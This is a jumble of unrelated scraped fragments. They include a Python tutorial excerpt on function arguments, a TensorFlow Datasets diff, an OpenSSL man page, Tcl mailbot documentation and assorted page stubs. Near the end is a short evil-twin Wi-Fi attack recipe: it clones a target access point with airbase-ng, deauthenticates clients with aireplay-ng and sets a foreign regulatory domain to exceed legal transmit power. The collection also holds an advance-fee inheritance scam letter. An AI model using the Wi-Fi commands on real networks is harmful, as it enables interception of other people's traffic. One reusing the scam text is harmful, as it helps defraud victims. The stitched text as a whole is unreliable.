but more efficient.
It is also possible to define functions with a variable number of arguments. There are three forms, which can be combined.
The most useful form is to specify a default value for one or more arguments. This creates a function that can be called with fewer arguments than it is defined to allow. For example:
def ask_ok(prompt, retries=4, reminder='Please try again!'):
while True:
ok = input(prompt)
if ok in ('y', 'ye', 'yes'):
return True
if ok in ('n', 'no', 'nop', 'nope'):
return False
retries = retries - 1
if retries < 0:
raise ValueError('invalid user response')
print(reminder)
This function can be called in several ways:
giving only the mandatory argument:
ask_ok('Do you really want to quit?')
giving one of the optional arguments:
ask_ok('OK to overwrite the file?', 2)
or even giving all arguments:
ask_ok('OK to overwrite the file?', 2, 'Come on, only yes or
no!')
This example also introduces the
in
keyword. This tests whether or not a sequence contains a certain value.
The default values are evaluated at the point of function definition in the defining scope, so that
i = 5
def f(arg=i):
print(arg)
i = 6
f()
will print 5
.
Important warning: The default value is evaluated only once. This makes a difference when the default is a mutable object such as a list, dictionary, or instances of most classes. For example, the following function accumulates the arguments passed to it on subsequent calls:
def f(a, L=[]):
L.append(a)
return L
print(f(1))
print(f(2))
print(f(3))
This will print
[1]
[1, 2]
[1, 2, 3]
If you don’t want the default to be shared between subsequent calls, you can write the function like this instead:
def f(a, L=None):
if L is None:
L = []
L.append(a)
return L
Functions can also be called using
keyword arguments
of the form kwarg=value
. For instance, the following
function:
def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'):
print("-- This parrot wouldn't", action, end=' ')
print("if you put", voltage, "volts through it.")
print("-- Lovely plumage, the", type)
print("-- It's", state, "!")
accepts one required argument (voltage
) and three optional
arguments (state
, action
, and
type
). This function can be called in any of the following
ways:
parrot(1000) # 1 positional argument
parrot(voltage=1000) # 1 keyword argument
parrot(voltage=1000000, action='VOOOOOM') # 2 keyword arguments
parrot(action='VOOOOOM', voltage=1000000) # 2 keyword arguments
parrot('a million', 'bereft of life', 'jump') # 3 positional arguments
parrot('a thousand', state='pushing up the daisies') # 1 positional, 1 keyword
but all the following calls would be invalid:
parrot() # required argument missing
parrot(voltage=5.0, 'dead') # non-keyword argument after a keyword argument
parrot(110, voltage=220) # duplicate value for the same argument
parrot(actor='John Cleese') # unknown keyword argument
In a function call, keyword arguments must follow positional arguments.
All the keyword arguments passed must match one of the arguments accepted
by the function (e.g. actor
is not a valid argument for the
parrot
function), and their order is not important. This also
includes non-optional arguments (e.g. parrot(voltage=1000)
is
valid too). No argument may receive a value more than once. Here’s an
example that fails due to this restriction:
>>> def function(a):
... pass
...
>>> function(0, a=0)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: function() got multiple values for keyword argument 'a'
When a final formal parameter of the form **name
is present,
it receives a dictionary (see
Mapping Types — dict) containing all keyword arguments except for those corresponding to a
formal parameter. This may be combined with a formal parameter of the form
*name
(described in the next subsection) which receives a
tuple
containing the positional arguments beyond the formal parameter list.
(*name
must occur before **name
.) For example,
if we define a function like this:
def cheeseshop(kind, *arguments, **keywords):
print("-- Do you have any", kind, "?")
print("-- I'm sorry, we're all out of", kind)
for arg in arguments:
print(arg)
print("-" * 40)
for kw in keywords:
print(kw, ":", keywords[kw])
It could be called like this:
cheeseshop("Limburger", "It's very runny, sir.",
"It's really very, VERY runny, sir.",
shopkeeper="Michael Palin",
client="John Cleese",
sketch="Cheese Shop Sketch")
and of course it would print:
-- Do you have any Limburger ?
-- I'm sorry, we're all out of Limburger
It's very runny, sir.
It's really very, VERY runny, sir.
----------------------------------------
shopkeeper : Michael Palin
client : John Cleese
sketch : Cheese Shop Sketch
Note that the order in which the keyword arguments are printed is guaranteed to match the order in which they were provided in the function call.
By default, arguments may be passed to a Python function either by position or explicitly by keyword. For readability and performance, it makes sense to restrict the way arguments can be passed so that a developer need only look at the function definition to determine if items are passed by position, by position or keyword, or by keyword.
A function definition may look like:
def f(pos1, pos2, /, pos_or_kwd, *, kwd1, kwd2):
----------- ---------- ----------
| | |
| Positional or keyword |
| - Keyword only
-- Positional only
where /
and *
are optional. If used, these
symbols indicate the kind of parameter by how the arguments may be passed
to the function: positional-only, positional-or-keyword, and keyword-only.
Keyword parameters are also referred to as named parameters.
If /
and *
are not present in the function
definition, arguments may be passed to a function by position or by
keyword.
Looking at this in a bit more detail, it is possible to mark certain
parameters as positional-only. If positional-only, the
parameters’ order matters, and the parameters cannot be passed by keyword.
Positional-only parameters are placed before a
/
(forward-slash). The /
is used to logically
separate the positional-only parameters from the rest of the parameters.
If there is no /
in the function definition, there are no
positional-only parameters.
Parameters following the /
may be
positional-or-keyword or keyword-only.
To mark parameters as keyword-only, indicating the parameters
must be passed by keyword argument, place an *
in the
arguments list just before the first keyword-only parameter.
Consider the following example function definitions paying close attention
to the markers /
and *
:
>>> def standard_arg(arg):
... print(arg)
...
>>> def pos_only_arg(arg, /):
... print(arg)
...
>>> def kwd_only_arg(*, arg):
... print(arg)
...
>>> def combined_example(pos_only, /, standard, *, kwd_only):
... print(pos_only, standard, kwd_only)
The first function definition, standard_arg
, the most
familiar form, places no restrictions on the calling convention and
arguments may be passed by position or keyword:
>>> standard_arg(2)
2
>>> standard_arg(arg=2)
2
The second function pos_only_arg
is restricted to only use
positional parameters as there is a /
in the function
definition:
>>> pos_only_arg(1)
1
>>> pos_only_arg(arg=1)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pos_only_arg() got an unexpected keyword argument 'arg'
The third function kwd_only_args
only allows keyword
arguments as indicated by a *
in the function definition:
>>> kwd_only_arg(3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: kwd_only_arg() takes 0 positional arguments but 1 was given
>>> kwd_only_arg(arg=3)
3
And the last uses all three calling conventions in the same function definition:
>>> combined_example(1, 2, 3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: combined_example() takes 2 positional arguments but 3 were given
>>> combined_example(1, 2, kwd_only=3)
1 2 3
>>> combined_example(1, standard=2, kwd_only=3)
1 2 3
>>> combined_example(pos_only=1, standard=2, kwd_only=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: combined_example() got an unexpected keyword argument 'pos_only'
Finally, consider this function definition which has a potential collision
between the positional argument name
and
**kwds
which has name
as a key:
def foo(name, **kwds):
return 'name' in kwds
There is no possible call that will make it return True
as
the keyword 'name'
will always bind to the first parameter.
For example:
>>> foo(1, **{'name': 2})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: foo() got multiple values for argument 'name'
>>>
But using /
(positional only arguments), it is possible since
it allows name
as a positional argument and
'name'
as a key in the keyword arguments:
def foo(name, /, **kwds):
return 'name' in kwds
>>> foo(1, **{'name': 2})
True
In other words, the names of positional-only parameters can be used in
**kwds
without ambiguity.
The use case will determine which parameters to use in the function definition:
def f(pos1, pos2, /, pos_or_kwd, *, kwd1, kwd2):
As guidance:
Use positional-only if you want the name of the parameters to not be available to the user. This is useful when parameter names have no real meaning, if you want to enforce the order of the arguments when the function is called or if you need to take some positional parameters and arbitrary keywords.
Use keyword-only when names have meaning and the function definition is more understandable by being explicit with names or you want to prevent users relying on the position of the argument being passed.
For an API, use positional-only to prevent breaking API changes if the parameter’s name is modified in the future.
Finally, the least frequently used option is to specify that a function can be called with an arbitrary number of arguments. These arguments will be wrapped up in a tuple (see Tuples and Sequences). Before the variable number of arguments, zero or more normal arguments may occur.
def write_multiple_items(file, separator, *args):
file.write(separator.join(args))
Normally, these variadic
arguments will be last in the list
of formal parameters, because they scoop up all remaining input arguments
that are passed to the function. Any formal parameters which occur after
the *args
parameter are ‘keyword-only’ arguments, meaning
that they can only be used as keywords rather than positional arguments.
>>> def concat(*args, sep="/"):
... return sep.join(args)
...
>>> concat("earth", "mars", "venus")
'earth/mars/venus'
>>> concat("earth", "mars", "venus", sep=".")
'earth.mars.venus'
The reverse situation occurs when the arguments are already in a list or
tuple but need to be unpacked for a function call requiring separate
positional arguments. For instance, the built-in
range()
function expects separate start and stop arguments. If
they are not available separately, write the function call with the
*
-operator to unpack the arguments out of a list or tuple:
>>> list(range(3, 6)) # normal call with separate arguments
[3, 4, 5]
>>> args = [3, 6]
>>> list(range(*args)) # call with arguments unpacked from a list
[3, 4, 5]
In the same fashion, dictionaries can deliver keyword arguments with the
**
-operator:
>>> def parrot(voltage, state='a stiff', action='voom'):
... print("-- This parrot wouldn't", action, end=' ')
... print("if you put", voltage, "volts through it.", end=' ')
... print("E's", state, "!")
...
>>> d = {"voltage": "four million", "state": "bleedin' demised", "action": "VOOM"}
>>> parrot(**d)
-- This parrot wouldn't VOOM if you put four million volts through it. E's bleedin' demised !
Small anonymous functions can be created with the
lambda
keyword. This function returns the sum of its two arguments:
lambda a, b: a+b
. Lambda functions can be used wherever
function objects are required. They are syntactically restricted to a
single expression. Semantically, they are just syntactic sugar for a
normal function definition. Like nested function definitions, lambda
functions can reference variables from the containing scope:
>>> def make_incrementor(n):
... return lambda x: x + n
...
>>> f = make_incrementor(42)
>>> f(0)
42
>>> f(1)
43
The above example uses a lambda expression to return a function. Another use is to pass a small function as an argument:
>>> pairs = [(1, 'one'), (2, 'two'), (3, 'three'), (4, 'four')]
>>> pairs.sort(key=lambda pair: pair[1])
>>> pairs
[(4, 'four'), (1, 'one'), (3, 'three'), (2, 'two')]
Here are some conventions about the content and formatting of documentation strings.
The first line should always be a short, concise summary of the object’s purpose. For brevity, it should not explicitly state the object’s name or type, since these are available by other means (except if the name happens to be a verb describing a function’s operation). This line should begin with a capital letter and end with a period.
If there are more lines in the documentation string, the second line should be blank, visually separating the summary from the rest of the description. The following lines should be one or more paragraphs describing the object’s calling conventions, its side effects, etc.
The Python parser does not strip indentation from multi-line string literals in Python, so tools that process documentation have to strip indentation if desired. This is done using the following convention. The first non-blank line after the first line of the string determines the amount of indentation for the entire documentation string. (We can’t use the first line since it is generally adjacent to the string’s opening quotes so its indentation is not apparent in the string literal.) Whitespace “equivalent” to this indentation is then stripped from the start of all lines of the string. Lines that are indented less should not occur, but if they occur all their leading whitespace should be stripped. Equivalence of whitespace should be tested after expansion of tabs (to 8 spaces, normally).
Here is an example of a multi-line docstring:
>>> def my_function():
... """Do nothing, but document it.
...
... No, really, it doesn't do anything.
... """
... pass
...
>>> print(my_function.__doc__)
Do nothing, but document it.
No, really, it doesn't do anything.
Function annotations are completely optional metadata information about the types used by user-defined functions (see PEP 3107 and PEP 484 for more information).
Annotations
are stored in the __annotations__
attribute of the function
as a dictionary and have no effect on any other part of the function.
Parameter annotations are defined by a colon after the parameter name,
followed by an expression evaluating to the value of the annotation.
Return annotations are defined by a literal ->
, followed
by an expression, between the parameter list and the colon denoting the
end of the
def
statement. The following example has a required argument, an optional
argument, and the return value annotated:
>>> def f(ham: str, eggs: str = 'eggs') -> str:
... print("Annotations:", f.__annotations__)
... print("Arguments:", ham, eggs)
... return ham + ' and ' + eggs
...
>>> f('spam')
Annotations: {'ham': <class 'str'>, 'return': <class 'str'>, 'eggs': <class 'str'>}
Arguments: spam eggs
'spam and eggs'
Now that you are about to write longer, more complex pieces of Python, it is a good time to talk about coding style. Most languages can be written (or more concise, formatted) in different styles; some are more readable than others. Making it easy for others to read your code is always a good idea, and adopting a nice coding style helps tremendously for that.
For Python, PEP 8 has emerged as the style guide that most projects adhere to; it promotes a very readable and eye-pleasing coding style. Every Python developer should read it at some point; here are the most important points extracted for you:
Use 4-space indentation, and no tabs.
4 spaces are a good compromise between small indentation (allows greater nesting depth) and large indentation (easier to read). Tabs introduce confusion, and are best left out.
Wrap lines so that they don’t exceed 79 characters.
This helps users with small displays and makes it possible to have several code files side-by-side on larger displays.
Use blank lines to separate functions and classes, and larger blocks of code inside functions.
When possible, put comments on a line of their own.
Use docstrings.
Use spaces around operators and after commas, but not directly inside
bracketing constructs: a = f(1, 2) + g(3, 4)
.
Name your classes and functions consistently; the convention is to use
UpperCamelCase
for classes and
lowercase_with_underscores
for functions and methods.
Always use self
as the name for the first method argument
(see
A First Look at Classes
for more on classes and methods).
Don’t use fancy encodings if your code is meant to be used in international environments. Python’s default, UTF-8, or even plain ASCII work best in any case.
Likewise, don’t use non-ASCII characters in identifiers if there is only the slightest chance people speaking a different language will read or maintain the code.
Footnotes
1
Actually, call by object reference would be a better description,
since if a mutable object is passed, the caller will see any changes the
callee makes to it (items inserted into a list).
if
Statements
for
Statements
range()
Function
break
and
continue
Statements, and
else
Clauses on Loops
pass
Statements
3. An Informal Introduction to Python


Prevent Facebook from tracking your browsing.
Block Facebook (on any site except facebook.com)
Prevent Twitter from tracking your browsing.
Block Twitter (on any site except twitter.com)


Before Change
tf_version = distutils.version.LooseVersion(tf.__version__)
v_1_15 = distutils.version.LooseVersion("1.15.0")
if tf_version < v_1_15:
raise ImportError(
"This version of TensorFlow Datasets requires TensorFlow "
"version >= {required}; Detected an installation of version {present}. "
"Please upgrade TensorFlow to proceed.".format(
required="1.15.0",
present=tf.__version__))
if six.PY2:
logging.warning("TFDS is going to drop Python 2 support. Please "
"update to Python 3.")
After Change
tf_version = distutils.version.LooseVersion(tf.__version__)
min_tf_version = distutils.version.LooseVersion(MIN_TF_VERSION)
if tf_version < min_tf_version:
raise ImportError(
"This version of TensorFlow Datasets requires TensorFlow "
f"version >= {MIN_TF_VERSION}; Detected an installation of version "
f"{tf.__version__}. Please upgrade TensorFlow to proceed."
)
def is_dataset(ds):
Whether ds is a Dataset. Compatible across TF versions.


Dear Beloveth. I am Mrs. Fatima Rasheed Khalifa a widow to Late Sheik Mohammed Rasheed Khalifa am 54years old . Presently i am suffering from long time cancer of the breast from all indications my condition is really deteriorating because of the unsuitable condition in my country that have denied me proper medical care. My late husband was killed during the invasion of collition forces from American and Britain in Iraq and during the period of our marriage we couldn't produce any child My late husband was very wealthy and after his death I inherited all his business and wealth Therefore my desire now is to contribute part of this wealth for humanitarian aid such as propagation in assisting the less-privileged and to use part of the fund to acquire a better medical treatment else where in Europe or America I am willing to give out 20% of the sum to you for helping me to retrieve this money and transferring it to your account for the said purpose the deposited amount is $4.5 million united states dollars. Please I want you to note that this fund is lying in a Security Company.For that i have also written to a lawyer who will file application for the retrieving of the money on your name as the beneficiary only if you promise to use this funds judiciary for the said purpose. Yours, Mrs. Fatima Rasheed.


BIO_s_connect(3)
BIO_s_connect, BIO_new_connect, BIO_set_conn_hostname, BIO_set_conn_port,
BIO_set_conn_ip, BIO_set_conn_int_port, BIO_get_conn_hostname,
BIO_get_conn_port, BIO_get_conn_ip, BIO_get_conn_int_port, BIO_set_nbio,
BIO_do_connect - connect BIO
#include <openssl/bio.h>
BIO_METHOD * BIO_s_connect(void);
BIO *BIO_new_connect(char *name);
long BIO_set_conn_hostname(BIO *b, char *name);
long BIO_set_conn_port(BIO *b, char *port);
long BIO_set_conn_ip(BIO *b, char *ip);
long BIO_set_conn_int_port(BIO *b, char *port);
char *BIO_get_conn_hostname(BIO *b);
char *BIO_get_conn_port(BIO *b);
char *BIO_get_conn_ip(BIO *b, dummy);
long BIO_get_conn_int_port(BIO *b, int port);
long BIO_set_nbio(BIO *b, long n);
int BIO_do_connect(BIO *b);
BIO_s_connect() returns the connect BIO method. This is a
wrapper round the platform's TCP/IP socket connection routines.
Using connect BIOs, TCP/IP connections can be made and data transferred
using only BIO routines. In this way any platform specific operations are
hidden by the BIO abstraction.
Read and write operations on a connect BIO will perform I/O on the
underlying connection. If no connection is established and the port and
hostname (see below) is set up properly then a connection is established
first.
Connect BIOs support BIO_puts() but not
BIO_gets().
If the close flag is set on a connect BIO then any active connection is
shutdown and the socket closed when the BIO is freed.
Calling BIO_reset() on a connect BIO will close any active
connection and reset the BIO into a state where it can connect to the same
host again.
BIO_get_fd() places the underlying socket in c if it is not NULL, it also returns the socket . If c is not NULL it should be of type (int *).
BIO_set_conn_hostname() uses the string name to set the hostname. The hostname can be an IP address. The hostname can
also include the port in the form hostname:port . It is also acceptable to
use the form ``hostname/any/other/path'' or
``hostname:port/any/other/path''.
BIO_set_conn_port() sets the port to port. port can be the numerical form or a string such as ``http''. A string will be
looked up first using getservbyname() on the host platform but
if that fails a standard table of port names will be used. Currently the
list is http, telnet, socks, https, ssl, ftp, gopher and wais.
BIO_set_conn_ip() sets the IP address to ip using binary form, that is four bytes specifying the IP address in
big-endian form.
BIO_set_conn_int_port() sets the port using port. port should be of type (int *).
BIO_get_conn_hostname() returns the hostname of the connect
BIO or NULL if the BIO is initialized but no hostname is set. This return
value is an internal pointer which should not be modified.
BIO_get_conn_port() returns the port as a string.
BIO_get_conn_ip() returns the IP address in binary form.
BIO_get_conn_int_port() returns the port as an int.
BIO_set_nbio() sets the non blocking I/O flag to n. If n is zero then blocking I/O is set. If n is 1 then non blocking I/O is set. Blocking I/O is the default. The call to
BIO_set_nbio() should be made before the connection is
established because non blocking I/O is set during the connect process.
BIO_new_connect() combines BIO_new() and
BIO_set_conn_hostname() into a single call: that is it creates
a new connect BIO with name.
BIO_do_connect() attempts to connect the supplied BIO. It
returns 1 if the connection was established successfully. A zero or
negative value is returned if the connection could not be established, the
call BIO_should_retry() should be used for non blocking
connect BIOs to determine if the call should be retried.
If blocking I/O is set then a non positive return value from any I/O call
is caused by an error condition, although a zero return will normally mean
that the connection was closed.
If the port name is supplied as part of the host name then this will
override any value set with BIO_set_conn_port(). This may be
undesirable if the application does not wish to allow connection to
arbitrary ports. This can be avoided by checking for the presence of the
':' character in the passed hostname and either indicating an error or
truncating the string at that point.
The values returned by BIO_get_conn_hostname(),
BIO_get_conn_port(), BIO_get_conn_ip() and
BIO_get_conn_int_port() are updated when a connection attempt
is made. Before any connection attempt the values returned are those set by
the application itself.
Applications do not have to call BIO_do_connect() but may wish
to do so to separate the connection process from other I/O processing.
If non blocking I/O is set then retries will be requested as appropriate.
It addition to BIO_should_read() and
BIO_should_write() it is also possible for
BIO_should_io_special() to be true during the initial
connection process with the reason BIO_RR_CONNECT. If this is returned then
this is an indication that a connection attempt would block, the
application should then take appropriate action to wait until the
underlying socket has connected and retry the call.
BIO_set_conn_hostname(), BIO_set_conn_port(),
BIO_set_conn_ip(), BIO_set_conn_int_port(),
BIO_get_conn_hostname(), BIO_get_conn_port(),
BIO_get_conn_ip(), BIO_get_conn_int_port(),
BIO_set_nbio() and BIO_do_connect() are macros.
BIO_s_connect() returns the connect BIO method.
BIO_get_fd() returns the socket or -1 if the BIO has not been
initialized.
BIO_set_conn_hostname(), BIO_set_conn_port(),
BIO_set_conn_ip() and BIO_set_conn_int_port()
always return 1.
BIO_get_conn_hostname() returns the connected hostname or NULL
is none was set.
BIO_get_conn_port() returns a string representing the
connected port or NULL if not set.
BIO_get_conn_ip() returns a pointer to the connected IP
address in binary form or all zeros if not set.
BIO_get_conn_int_port() returns the connected port or 0 if
none was set.
BIO_set_nbio() always returns 1.
BIO_do_connect() returns 1 if the connection was successfully
established and 0 or -1 if the connection failed.
This is example connects to a webserver on the local host and attempts to
retrieve a page and copy the result to standard output.
BIO *cbio, *out;
int len;
char tmpbuf[1024];
ERR_load_crypto_strings();
cbio = BIO_new_connect("localhost:http");
out = BIO_new_fp(stdout, BIO_NOCLOSE);
if(BIO_do_connect(cbio) <= 0) {
fprintf(stderr, "Error connecting to server\n");
ERR_print_errors_fp(stderr);
/* whatever ... */
}
BIO_puts(cbio, "GET / HTTP/1.0\n\n");
for(;;) {
len = BIO_read(cbio, tmpbuf, 1024);
if(len <= 0) break;
BIO_write(out, tmpbuf, len);
}
BIO_free(cbio);
BIO_free(out);
TBA
|


Monkey V60 Documentation
|
Modules
|
Classes
|
Interfaces
|
Functions
|
Language
|
Index
Home
/ Sample programs
Monkey samples
Arthur "devolonter" and Olga "AhNinniah" Bikmullin
Match up
Gerry Quin
Picture puzzle
Impixi
Game of life
Ferdi
Snake
Breakout
Charlie Knight
Blob monster
Origaming
Degrees vs Radians
Follow mouse
MacOS dock style menu
Rotating objects
Richard Betson
Mirror FX
Tile Image
Line vs circle
Simple verlet physics
Jonathan Pittock
Monkenstein
Spiral matrix
Text effect
Tween demo
Config demo
Async icon fun!
James Boyd
Auto-fit
Basic game
Delta timing
Game states
Jump rotate
Matrix rocks!
Rockout
Rotation sickness
Christian Perfect
Bezier
Hilbert
Horsey!
JSON
MonkeyPuzzle
Pegs
Transform
Transform mouse
Peter Scheutz
Champagne
Clock
Robin Shackford
Angelfont
Mark Sibly
Accelerometer test
Audio test
Touch test
Graphics test
Suspend test
Bouncy Aliens!
Simple async HTTP demo


§27G-5 Annual report. The committee shall submit an annual report to the governor and the legislature no later than twenty days prior to the convening of each regular session, on the operations of the portal. The annual report shall include the portal manager's annual financial reports. [L 2007, c 172, pt of §2; am L 2013, c 21, §2]


Menu
Logout
Account
Application propagating UI related errors to EFK.
Make some mess!
Make some mess, asynchronously!


Lines to restrict depot files to specific changelists.
Restricts depot paths to a particular point in time. Example: //depot/path/...@1000 Revisions submitted to the path after the specified changelist will not be visible. Files matching a ChangeView path may not be submitted. Automatic labels may also used to specify a particular point in time: the label's 'Revision' field must be set to a changelist number or a date. If the label has a view, only files that match the intersection of the ChangeViewpath and the label's view will be restricted to the point in time specified by the 'Revision' field; any other files matching the ChangeView path may sync to #head, but cannot be submitted.


| TOC |
|
The personal.tcl mailbot implements a highly-specialized filter for personal messages. It MUST not be used by people who receive mailing list traffic in their personal mailboxes.
| TOC |
| TOC |
Create a configuration file and add this line to your ".forward" file:
"| LIB/mbot-1.1/personal.tcl -config FILE -user USER"
where "LIB" is where the Tcl library lives, "FILE" is the name of your configuration file, and "USER" is your username.
This package requires:
(c) 1999-2002 Marshall T. Rose
Hold harmless the author, and any lawful use is allowed.
| TOC |
The mailbot's philosophy is simple:
Do NOT use the personal.tcl mailbot if you receive mailing list traffic in your personal mailbox. When sending mail to a mailing list, either:
Consult Impersonal Mail for information on how "impersonal" mail is identified and processed.
Guest lists are an effective mechanism for cutting back on excessive mail.
Note that in order to promote someone to the permanent-guest list, you must send them a message (with a copy to yourself). In most cases, simply replying to the original message accomplishes this. Of course, if you don't want to promote someone to the permanent-guest list, simply remove that address (or your address) from the list of recipients in your reply.
Here are the fine points:
The rejection notice should be written carefully to minimize an extreme negative reaction on the part of the uninvited. Of course, by allowing a passphrase, this provides something of a CQ test for the uninvited -- if someone can't pass the test...
| TOC |
The mailbot supports the following command line arguments:
- -config configFile:
- specifies the name of the configuration file to use;
- -debug boolean:
- enables debug output;
- -file messageFile:
- specifies the name of the file containing the message;
- -originator orginatorAddress:
- specifies the email-address of the originator of the message; and,
- -user userName:
- specifies the user-identity of the recipient.
Note that if "-user" is given, then the working directory is set to userName's home directory before configFile is sourced, and the umask is set defensively.
The default values are:
personal.tcl -config .personal-config.tcl \ -debug 0 \ -file - \ -originator "derived from message"
Given the default values, only "-user" need be specified. The reason is that if a message is being delivered to multiple local recipients, and if any of the ".forward" files are identical in content, then sendmail may not deliver the message to all of the local recipients.
A few other (sendmail related) tips:
The mailbot begins by parsing its arguments, sourcing configFile, and then examining the incoming message:
There are two kinds of information that may be defined in configFile: configuration options and configurable procedures.
Here's a simple example of a configFile for a user named "example":
set options(dataDirectory) .personal set options(defaultMaildrop) /var/mail/example set options(logFile) [file join .personal personal.log] set options(noticeFile) [file join .personal notice.txt]
configFile must define dataDirectory and defaultMaildrop. All other configuration options are optional.
The directory where the mailbot keeps its databases. The subdirectories are:
- badaddrs:
- the directory of rejected email-addresses
- inaddrs:
- the directory of originator email-addresses
- msgids:
- the directory of Message-IDs
- outaddrs:
- the permanent-guest list
- phrases:
- the directory of at-most-once passphrases
- tmpaddrs:
- the temporary-guest list
If you want to remove someone from a guest list, simply go to that directory and delete the corresponding file.
The filename where messages are saved for later viewing by your user agent.
The filename where messages are saved for audit purposes.
The filename where your outgoing messages are saved for audit purposes.
A list of filename extensions for attachments that automatically cause the message to be rejected.
A list used by friendP giving the domain names where your friends live.
If present and true, then someone sending a message both to you and someone you've previously sent mail to, is considered a friend.
The filename where the mailbot logs its actions.
Your preferred email-address with commentary text, e.g.,
Arlington Hewes<EMAIL_ADDRESS>The filename containing the textual notice sent when a message is rejected. Note that all occurrances of "%passPhrase%" within this file are replaced with an at-most-once passphrase allowing the originator to bypass the mailbot's filtering. Similarly, any occurrences of "%subject%" are replaced by the "Subject" of the incoming message.
The email-addresses where a textual synopsis of the incoming message is sent.
The email-addresses where a copy of the incoming message is resent.
All of these procedures are defined in personal.tcl. You may override any of them in configFile.
proc adminP {local domain}
Returns "1" if the email-address is an automated administrative process.
proc friendP {local domain}
Returns "1" if the email-address is from a friendly domain or sub-domain.
proc ownerP {local domain}
Returns "1" if the email-address refers to the user (as determined by looking at myMailbox, pdaMailboxes, and remoteMailboxes.
proc saveMessage {inF {outF ""}}
Saves a copy of the message contained in the file inF. If the destination file, outF, isn't specified, it defaults to the defaultMaildrop.
proc findPhrase {subject}
Returns "1" if a previously-allocated passphrase is present in the subject. If so, the passphrase is forgotten.
proc makePhrase {}
Returns an at-most-once passphrase for use with a rejection notice.
proc pruneDir {dir type}
Removes old entries from one of the mailbot's databases. The second parameter is one of "addr", "msgid", or "phrase".
proc tclLog {message}
Writes a message to the logFile.
| TOC |
| TOC |
| Marshall T. Rose | |
| Dover Beach Consulting, Inc. | |
| POB 255268 | |
| Sacramento, CA 95865-5268 | |
| US | |
| Phone: | +1<PHONE_NUMBER> |
| Fax: | +1<PHONE_NUMBER> |
| EMail: |<EMAIL_ADDRESS>|
| TOC |
If impersonalMail returns a non-empty string then the message is processed differently than the algorithm given in Actions. Specifically:
- "ignore":
- the message is silently ignored;
- "bounce":
- the message is noisily bounced; or,
- otherwise:
- the message is resent to the address.
Regardless, if an entry was present for the folder, then processing terminates.
If "impersonal" mail is received, then foldersFile and foldersDirectory must exist.
The directory where the mailbot keeps private folders.
This file contains one line for each private folder.
The email-addresses where an announcement is sent when a new private folder is created.
The file consulted by the mailbot to determine how to process "impersonal" messages. Each line of the file consists of a folder name and value, seperated by a colon (":"). There are three reserved values: "bounce", "ignore", and "store".
All of these procedures are defined in personal.tcl. You may override any of them in configFile.
proc impersonalMail {}
If the message is deemed "impersonal", return the name of a corresponding private folder; otherwise, return the empty-string.
Many mail systems have a mechanism of passing additional information when performing final delivery using a program. With modern versions of sendmail, for example, if mail is sent to a local user named "user+detail", then, in the absense of an alias for either "user+detail" or "user+*", then the message is delivered to "user". The trick is to get sendmail to pass the "detail" part to the mailbot.
At present, sendmail passes this information only if procmail is your local mailer. Here's how I do it:
*** _alias.c Tue Dec 29 10:42:25 1998 --- alias.c Sat Sep 18 21:51:35 1999 *************** *** 813,818 **** --- 813,821 ---- define('z', user->q_home, e); define('u', user->q_user, e); define('h', user->q_host, e); + + setuserenv("SUFFIX", user->q_host); + if (ForwardPath == NULL) ForwardPath = newstr("\201z/.forward");
This makes available an environment variable called "SUFFIX" which has the "details" part. The drawback in this approach is that this information is lost if the message is re-queued for delivery (what's really needed is an addition to the .forward syntax to allow macros such as $h to be passed).
The corresponding impersonalMail procedure is defined as:
proc impersonalMail {} { global env return $env(SUFFIX) }
proc processFolder {folderName mimeT} { return $string }
If an entry for the folder exists in the mappingFile, and if the value for that entry is "process", then this procedure is invoked to return a string indicating what action to take (cf., Impersonal Mail).
| TOC |
Here is the ".forward" file for the user "hewes":
"|/usr/pkg/lib/mbot-1.1/personal.tcl -config .personal/config.tcl -user hewes"
(Of course, it's all on one line.)
Here is the user's ".personal/config.tcl" file:
array set options [list \ dataDirectory .personal \ defaultMaildrop /var/mail/hewes \ auditInFile [file join .personal INCOMING] \ auditOutFile [file join .personal OUTGOING] \ friendlyDomains [list tcp.int example.com] \ logFile [file join .personal personal.log] \ myMailbox "Arlington Hewes<EMAIL_ADDRESS>\ pdaMailboxes<EMAIL_ADDRESS>\ noticeFile [file join .personal notice.txt] \ foldersDirectory [file join .personal folders] \ foldersFile [file join .personal .mailboxlist] \ announceMailboxes<EMAIL_ADDRESS>\ mappingFile [file join .personal mapping] \ friendlyFire 1 \ dropNames [list *.bat *.exe *.src *.pif *.wav *.vbs] \ ] proc impersonalMail {} { global env return $env(SUFFIX) }
Note that because remoteMailboxes isn't defined, personal messages are ultimately stored in the user's defaultMaildrop.
| TOC |
The original version of this mailbot was written by the author in 1994, implemented using the safe-tcl package (Borenstein and Rose, circa 1993).


---
layout: portfolio_1
title: Cravy | Inkoop | Ruby on Rails Developer Consultancy Requirement Bangalore
description: Request a quote on your Ruby on Rails Project
---
Cravy
Client:
Cravy
Development hours:
800
Technologies:
Ruby on Rails, Solr, MongoDB, HTML, CSS, Sidekiq
An app to share reviews of food items you like in a restaurant around your city. The app learns about your preferences and recommends dishes based on that. You can filter the dishes based on geographical regions, cuisines, price and ingredients.


book
shedule
flight
one way
return
departing :
returning :
adults:
children:
class:
Encryption:
Reset
Book Now
shedule
flight


Mirror Mirror LK
  About-us
  Contact-us
  Search
Cart
Shop
PAYMENT
Card Number
CVC
Name
Address
Phone
Confirm


You can use this tool to view Helix preset details without having your hardware connected.
Note: This is very much a work in progress. Currently this tool has the following limitations:
| {{ key | getLabel }} | {{ value | getModel('name') }} |
|---|---|
| {{ key | getLabel }} | {{ value }} |


The page you are looking for was not found. Please use the links on the left to navigate to your desired destination.


Start airmon
iwconfig
airmon-ng start wlan0
Start airdump
airodump-ng mon0
Wait for ssid to show
Create new AP with same ssid and mac
airbase-ng -a <bssid> --essid <ssid> -c <channel> mon0
Deauth your target
aireplay-ng --deauth 0 -a <bssid>
Run your AP at max power
iwconfig wlan0 txpower 27
(27 is max 'legal' power)
Bypass restrictions:
set to use another domain/country:- iw reg set BO
- iwconfig wlan0 txpower 30
Wait for connection


Class GuzzleAdapter
Instagram client class.
- Instagram\Http\Clients\GuzzleAdapter implements Instagram\Http\Clients\AdapterInterface
Final
Namespace: Instagram\Http\Clients
Package: Instagram
License: MIT
